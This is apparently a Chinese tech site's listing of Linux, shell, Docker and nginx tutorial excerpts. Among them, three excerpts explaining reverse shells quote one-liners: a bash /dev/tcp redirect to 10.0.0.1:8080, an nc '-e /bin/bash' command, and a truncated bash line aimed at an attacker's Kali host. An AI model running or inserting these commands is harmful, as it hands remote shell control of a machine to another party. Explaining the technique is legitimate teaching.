Docker 安装及配置镜像加速的实现

Docker 版本  随着 Docker 的飞速发展,企业级功能的上线,更好的服务意味着需要支付一定的费用,目前 Docker 被分为两个版本: community-edition 社区版 enterprise-edition...

2021-01-28

intellij idea 使用Tomcat部署的项目位置在哪

intellij idea 使用Tomcat部署javaweb项目后到Tomcat的webapps目录下找不到项目.1.首先看下部署项目后webapps的目录
2.首先说明怎么找到已经部署好的项目,再来解释原因.
2....

2021-01-27

Nginx优化服务之网页压缩的实现方法

配置网页压缩,节省资源1,首先我们先修改配置vim /usr/local/nginx/conf/nginx.confhttp {...... gzip on; #取消注释,开启gzip压缩功能 gzip_min_length 1k; #最小...

2021-01-27

apache启动后无法访问网页怎么办

前言:apache启动后访问不了。排查发现端口没有被占用,考虑防火墙问题。解决方法:首先我们需要确保远程的Linux系统已经安装好,我们使用xshell远程SSH登录到Linux系统里,同时我们...

2021-01-27

linux下如何挂载U盘

环境:linux操作系统首先你得保证你的U盘的格式是fat格式。先进入/mnt/目录新建一个usb目录cd /mnt/mkidr usb先fdisk -l,然后插上U盘,fdisk -l查看是否有新的硬盘添加上来了?然...

2021-01-26

CentOS7.6服务器如何部署VNC

CentOS7.6服务器部署VNC安装vnc服务器[root@localhost ~]# yum install tigervnc-server开启vnc[root@localhost ~]# vncserver You will require a password to access you...

2021-01-26

Windows Server 2016远程桌面服务配置和授权激活(2个用户)

Server 2016默认远程桌面连接数是2个用户,如果多余两个用户进行远程桌面连接时,系统就会提示超过连接数,可以通过添加远程桌面授权解决:1、添加远程桌面授权服务第一步:服务器管...

2021-01-26

Windows Server 2016快速入门部署远程桌面服务的详细图文步骤

现在2016服务器比win2008与2012支持多站点https服务,下面脚本之家小编就为大家分享一下打开服务器管理器,然后单击管理 -> 添加角色和功能在“ 开始之前”页面上的...

2021-01-26

Linux创建用户的操作命令

Linux创建用户useradd或adduser命令用来建立用户帐号和创建用户的起始目录,使用权限是超级用户。创建用户useradd [-d home] [-s shell] [-c comment] [-m [-k template]] [-...

2021-01-26

Shell文本处理三剑客之sed的使用

sed 是 stream editor 的缩写,流编辑器,主要用于对标准输出或文件进行处理。
语法:stdout | sed [option] "pattern command"sed [option] "pattern command" file1常用选项(opt...

2021-01-26

shell字符串截取报错:Bad substitution的解决

问题重现:当前系统Ubuntu16shell进行字符串截取运行 ${GIT_COMMIT:0:6}报错:
/tmp/jenkins7505855461406722507.sh: 4: /tmp/jenkins7505855461406722507.sh: Bad substitutio...

2021-01-26

Linux Shell脚本中获取本机ip地址方法

方法一:ifconfig -a
ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"命令解析 ifconfig -a      和window下执行此命令一样...

2021-01-26

详解NC反弹shell的几种方法

假如ubuntu、CentOS为目标服务器系统kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用最终是将ubuntu、CentOS的shell反弹到kali上正向反弹shell
ubuntu或者CentOS...

2021-01-26

shell之定时周期性执行脚本的方法示例

示例
1.编写测试脚本脚本 time .sh
$ cat time.sh #! /bin/bashecho $(date +%s) >> /home/ocean/out.txt保存完毕后记得给予权限 chmod 777 test.sh
2.添加定时任务
$ cron...

2021-01-26

shell语言date的用法实例

今天没干什么正事儿,都开了会了,写点儿关于shell脚本语言的知识吧,这个也是前两天完成一个业务方的需求的时候使用到的方法,分享出来,希望对大家有点用吧。 首先,我们来看,da...

2021-01-26

Linux 通过 autojump 命令减少 cd 命令的使用的实现方法

Linux - 通过 autojump 命令减少 cd 命令的使用1、安装 autojumpgit clone git://github.com/joelthelion/autojump.git安装cd autojump./install.py卸载cd autojump./unins...

2021-01-26

shell脚本实现磁盘监控系统

利用shell脚本实现每隔60秒磁盘内存数据监控#!/bin/bash#Author:GaoHongYu#QQ:1061767621#Time:2019-12-24 18:43:22#Name:ncjk.sh#Version:V1.0clearxtip=$(hostname -I)cp...

2021-01-26

浅析Linux之bash反弹shell原理

环境攻击机:kali ip:192.168.25.144靶 机:centos ip:192.168.25.142过程kali 监听本地8888端口靶机 centos 写入 反弹shell 的命令bash -i >& /dev/tcp/192....

2021-01-26

详解shell中脚本参数传递的两种方式

方式一:$0,$1,$2..采用$0,$1,$2..等方式获取脚本命令行传入的参数,值得注意的是,$0获取到的是脚本路径以及脚本名,后面按顺序获取参数,当参数超过10个时(包括10个),需要使用${10},...

2021-01-26

Shell用sed命令删除特定行的方法

sed命令作为一个强大的shell命令,可以快速删除任意特定的行列,配合awk命令可以轻松地操作批量处理文件,下面就来看看吧!sed命令常用到的两个选项: -i : 直接在文件上编辑 (edit f...

2021-01-26

Linux Shell 如何获取参数的方法

$# 是传给脚本的参数个数
$0 是脚本本身的名字
$1 是传递给该shell脚本的第一个参数
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字...

2021-01-26

详解shell脚本的编写规范

编写shell脚本的一些规范解释器shell脚本一般选择bash作为解释器,脚本开头应为#!/bin/bash或#!/bin/sh添加脚本版本和注释功能在脚本的开头加注释,说明脚本作者、编写时间、脚...

2021-01-26

shell脚本中$符号的命令使用汇总

今天是远程办公的第4天,渐渐的找到了一点在家办公的节奏了,改了几个shell脚本,在改动过程中,发现还有一些知识点需要巩固,这里写出来,加深下印象。 关于$符号,大家肯定都不陌...

2021-01-26

详解shell 函数定义与调用

一、Shell函数定义格式shell函数定义格式,各部分说明如下:[ function ]等中括号括起来部分----表示可选(即可有可无)your_function_name部分----为函数名your_shell_commands部...

2021-01-26

shell脚本实现公司项目部署交付环境预检查的思路

大型项目环境预检查脚本,根据自己实际情况修改脚本中变量,给大家一个思路,转载请注明出处~#!/usr/bin/env bashroot=$( cd $(dirname $0) pwd)source "$root"/dragonrcCPU=$(...

2021-01-26

shell中set指令的用法详解

语法
set [-可选参数] [-o 选项]功能说明set 指令可根据不同的需求来设置当前所使用 shell 的执行方式,同时也可以用来设置或显示 shell 变量的值。当指定某个单一的选项时将...

2021-01-26

shell模糊匹配与正则详解

前言:正则可以实现一些简单的功能,并用在脚本中,如检测ip地址是否符合规范,检测文件名是否符合规范等等。正则表达式
正则表达式主要是用来描述一个句法规则的模式。其实说的通...

2021-01-26

linux自动化交互脚本expect详解

一、介绍expect脚本是Tcl脚本语言的拓展。用来实现自动的交互式任务,无需人为干预。在实际开发中,运行shell脚本有时候会输入linux密码或者是mysql密码等,而expect可以帮我们输...

2021-01-26

Shell退出状态码及其应用详解

Shell 中运行的命令会使用0-255之间的整数值,作为退出状态码,并以此来告知shell该命令执行的状态。通常情况下,约定0代表命令成功结束,非0代表程序非正常退出。...

2021-01-26

一键配置本地yum源的shell脚本

效果如图:代码#!/bin/bash#Author:GaoHongYu#QQ:1061767621#Time:2019-12-26 16:30:19#Name:yumgz.sh#Version:V1.0CKGZ=$( df -Th | grep -o "iso9660" )KJGZ=$( cat /etc/f...

2021-01-26

linux反弹shell的原理详解

完整命令反弹shell命令:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1bash -i > /dev/tcp/ip/port 0>&1 2>&1利用nc反弹shell:nc -lvvp 12345 -t -e /bin/bash原理bash -i > /dev/t...

2021-01-26

Linux 中shell脚本设置开头固定格式的实现方法

Linux 之shell脚本设置开头固定格式
每次进入shell都要设置开头,很麻烦,现修改vim配置文件即可。[root@node01 ~]vim .vimrc 将下列内容复制进文件set ignorecase...

2021-01-26

shell 判断字符串是否存在数组中的实现示例

语法格式: [[ "${array[@]}" =~ "字符串" ]]示例:
#!/bin/sh##数组array=(addressbasecartcompanystore) # $1 如果存在,输出 $1 exists,$1 如果不存在,输出 $1 not existsif [ "...

2021-01-26

linux查看防火墙是否开启

linux看防火墙是否开启、删除iptables规则准备工作首先确认IP为了待会的测试,我们先确认一下linux主机的IP。可以使用ifconfig或ip addr查看。查看系统监听开放的端口,netstat...

2021-01-25

Shell alias给命令设置别名的实现方法

给命令设置别名,你可以把它当作命令的"小名",但是这样做有什么意义呢?比如笔者刚接触 Linux 时,使用的编辑器是 Vi,但是现在 Vim 的功能明显比 Vi 的功能更加强大,所以现在流行的...

2021-01-25

Docker Compose一键ELK部署的方法实现

安装  Filebeat 已经完全替代了 Logstash-Forwarder 成为新一代的日志采集器,因为它更加轻量、安全。基于 Filebeat + ELK 的部署方案架构图如下:  &...

2021-01-25

Docker 动态修改容器端口映射的方法

前言:Docker端口映射往往是Docker Run命令时通过-p将容器内部端口映射到宿主机的指定端口上,一般来说容器的端口所对应的端口是提前确定需要映射的。但是有些情况下不得不需要...

2021-01-24

nginx优化的六点方法

一.优化Nginx并发量[root@proxy ~]# ab -n 2000 -c 2000 http://192.168.4.5/Benchmarking 192.168.4.5 (be patient)socket: Too many open files (24) //提示打开文件...

2021-01-24

grafana安装及使用教程详解

1. 下载grafana并安装1.1 官网下载较慢,在清华镜像站下载下载链接>> https://mirrors.tuna.tsinghua.edu.cn/grafana/yum/rpm/1.2 下载之后上传上传之后查看[root@localhost...

2021-01-24

Prometheus的安装和配置教程详解

1. 从官网选择Prometheus版本进行下载官网地址>> https://github.com/prometheus/prometheus/releases/2. 实验安排在主机192.168.153.137上安装prometheus监控192.168.153....

2021-01-24

本地通过nginx配置反向代理的全过程记录

前言Nginx是一款轻量级的HTTP服务器,采用事件驱动的异步非阻塞处理方式框架,这让其具有极好的IO性能。我们在日常开发中使用到Nginx的主要有以下几个场景: Nginx作为http服务...

2021-01-23

Centos下PHP5升级PHP7的方法

1、首先下载PHP7安装包,使用wget http://am1.php.net/distributions/php-7.2.0.tar.bz2,或者直接访问下载,然后ftp到linux服务器
2、解压压缩包,tar –xjf php-7.0.2.tar....

2021-01-22

linux抓包命令tcpdump有什么用?

简介Linux tcpdump命令用于倾倒网络传输数据。执行tcpdump指令可列出经过指定网络界面的数据包文件头,在Linux操作系统中,你必须是系统管理员。用简单的话来定义tcpdump,就是:du...

2021-01-21

linux密码忘记重置密码的方法

刚开始接触Linux的人,忘记了root密码可能会不知所措。想找回自己的root密码,但是又不知道方法。其实,只需要简单的几步就可以重置自己的root密码了(找回密码我也不会)1.开机之...

2021-01-21

apache 2.2升级到2.4的详细步骤

详细步骤如下:1、官网下载Apache2.42、将下载的Apache解压到要搭配的环境目录3、命令行下进入到apache下面的bin目录,输入 httpd -k install4、安装后报错“ServerRoot m...

2021-01-21

nginx配置https的详细流程

详细配置流程如下:1、下载SSL证书2、两个证书放在cert目录上然后放到nginx 与nginx.conf同目录下3、去nginx解压目录下执行./configure --with-http_ssl_module如果报错 ./co...

2021-01-21

CentOS /RHEL系统怎么更新安全补丁

在 CentOS/RHEL7 系统上配置自动安全更新在 CentOS/RHEL 7/6 系统上,你需要安装下面的安装包:# yum update -y ; yum install yum-cron -y安装完成以后,打开/etc/yum/yum-cron....

2021-01-21

linux系统查看磁盘空间的命令是什么

Linux 查看磁盘空间可以使用 df 和 du 命令。df命令df 以磁盘分区为单位查看文件系统,可以获取硬盘被占用了多少空间,目前还剩下多少空间等信息。例如,我们使用df -h命令来查看...

2021-01-20

nginx网站服务如何配置防盗链(推荐)

一、盗链原理1.1 网页准备Web源主机(192.168.153.20)配置cd /usr/local/nginx/html将preview.jpg图片文件传到/usr/local/nginx/html目录下vim index.html......<img src="pre...

2021-01-19

Docker开启远程访问的实现方式

Docker守护进程套接字Docker守护进程可以通过三种不同类型的套接字监听Docker Engine API请求:unix、tcp和fd。默认情况下,在/var/run/docker.sock处创建一个unix域套接字(或IP...

2021-01-19
返回顶部
顶部